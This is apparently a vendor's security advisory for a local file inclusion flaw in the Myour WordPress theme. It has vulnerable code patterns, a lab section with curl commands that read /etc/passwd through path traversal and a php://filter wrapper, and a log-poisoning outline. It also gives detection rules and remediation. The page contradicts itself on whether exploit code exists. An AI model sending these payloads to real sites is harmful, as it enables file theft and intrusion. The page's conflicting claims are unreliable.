CVE-2025-67615
Executive Summary
CVE-2025-67615 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Myour WordPress theme by Bslthemes, up to and including version 1.5.1. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading configuration files containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities.
The CVSS score of 8.1 (High) reflects the ease of exploitation (no authentication required, network-based) and the high impact on confidentiality. No public proof-of-concept (PoC) or exploit code has been identified at this time, and the vendor has not released a patch. This advisory provides detection and mitigation guidance for defenders.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress theme distributed through the official WordPress theme repository and potentially third-party marketplaces. Users should verify the integrity of their theme files and monitor for updates from Bslthemes. As a supply chain risk, any site using the Myour theme version <= 1.5.1 is vulnerable.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full file read capability.
- Integrity (I): None (N) – No file modification.
- Availability (A): None (N) – No denial of service.
Threat Level: High. The vulnerability is trivial to exploit and can expose sensitive server files.
Deep Dive & Mechanics
The vulnerability exists in the Myour theme's PHP code, likely within a template or shortcode handler that accepts user-supplied input (e.g., via $_GET, $_POST, or $_REQUEST) and passes it directly to a PHP include() or require() function without proper sanitization or validation.
Example vulnerable code pattern:
<?php
$file = $_GET['file'];
include($file . '.php');
?>
An attacker can manipulate the file parameter to include arbitrary files using path traversal sequences (e.g., ../../../../etc/passwd). Since the extension .php is appended, the attacker may need to use null byte injection (deprecated in PHP 5.3+) or other techniques like using a wrapper (e.g., php://filter/convert.base64-encode/resource=../../../../etc/passwd) to bypass the extension restriction.
WordPress Context: This is a WordPress theme vulnerability, not a server misconfiguration. The theme's code is responsible for the insecure include.
Vulnerable vs. Patched Code
Vulnerable Code (Myour <= 1.5.1):
<?php
// In a template file like myour-template.php
$page = $_GET['page'];
include( get_template_directory() . '/includes/' . $page . '.php' );
?>
Patched Code (Hypothetical):
<?php
$allowed_pages = array('home', 'about', 'contact');
$page = $_GET['page'];
if ( in_array( $page, $allowed_pages ) ) {
include( get_template_directory() . '/includes/' . $page . '.php' );
} else {
// Handle error or load default
include( get_template_directory() . '/includes/home.php' );
}
?>
The patched version uses a whitelist of allowed files, preventing arbitrary file inclusion.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install WordPress with the Myour theme version 1.5.1.
- Ensure the server is accessible (e.g., localhost or a cloud instance).
- Identify the vulnerable parameter (e.g.,
page,file,template).
Exploitation Steps:
Basic LFI to read
/etc/passwd:curl "http://target/wp-content/themes/myour/vulnerable-template.php?page=../../../../../../etc/passwd%00"Note: Null byte injection may not work on modern PHP. Use wrapper instead.
Using PHP filter wrapper to read source code:
curl "http://target/wp-content/themes/myour/vulnerable-template.php?page=php://filter/convert.base64-encode/resource=../../../../../../etc/passwd"Decode the base64 output.
Attempting RCE via log poisoning (if file upload or log access is possible):
- Inject PHP code into Apache/Nginx access log via User-Agent.
- Include the log file:
curl "http://target/wp-content/themes/myour/vulnerable-template.php?page=../../../../../../var/log/apache2/access.log%00"
Blue Team
Detection:
- Monitor web server logs for suspicious
pageorfileparameters containing../,php://, or%00. - Alert on requests to the vulnerable theme file with non-standard parameters.
- Use WAF rules to block path traversal and PHP wrapper usage.
Hunting:
- Search for
include(orrequire(in theme files that use$_GET,$_POST, or$_REQUESTwithout validation. - Check for recent file modifications in the theme directory.
Indicators of Compromise (IOCs)
- File Paths:
/wp-content/themes/myour/*.php(any file with insecure include)
- Network Indicators:
- HTTP requests containing
page=php://filter/orpage=../../ - User-Agent strings with PHP code (for log poisoning)
- HTTP requests containing
- Log Entries:
- Apache/Nginx access logs with
php://filteror path traversal sequences. - PHP error logs showing failed includes or warnings.
- Apache/Nginx access logs with
Detection Engineering
YARA Rule
rule CVE_2025_67615_LFI_Myour {
meta:
description = "Detects attempts to exploit CVE-2025-67615 in Myour theme"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67615"
strings:
$s1 = "page=" nocase
$s2 = "file=" nocase
$s3 = "../" nocase
$s4 = "php://" nocase
$s5 = "%00" nocase
condition:
any of ($s1, $s2) and any of ($s3, $s4, $s5)
}
Sigma Rule
title: CVE-2025-67615 Myour Theme LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit PHP Local File Inclusion in Myour theme
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'page=php://'
- 'page=../'
- 'file=php://'
- 'file=../'
- '%00'
condition: selection
falsepositives:
- Legitimate use of similar parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-67615 Myour Theme LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"page="; http_uri; content:"../"; distance:0; within:10; content:"php://"; distance:0; within:10; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Myour theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is available.
- Vendor Contact: Reach out to Bslthemes for an official patch. Monitor their website or the WordPress theme repository for updates.
- Code Hardening: If you must continue using the theme, manually edit the vulnerable PHP files to implement input validation and whitelisting (see patched code example).
- WAF Rules: Deploy web application firewall rules to block path traversal and PHP wrapper usage.
- File Integrity Monitoring: Use tools like Tripwire or OSSEC to monitor changes to theme files.
- Log Monitoring: Enable and review web server logs for suspicious activity.
Report generated by Valters IT DevSecOps & CTI Division.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.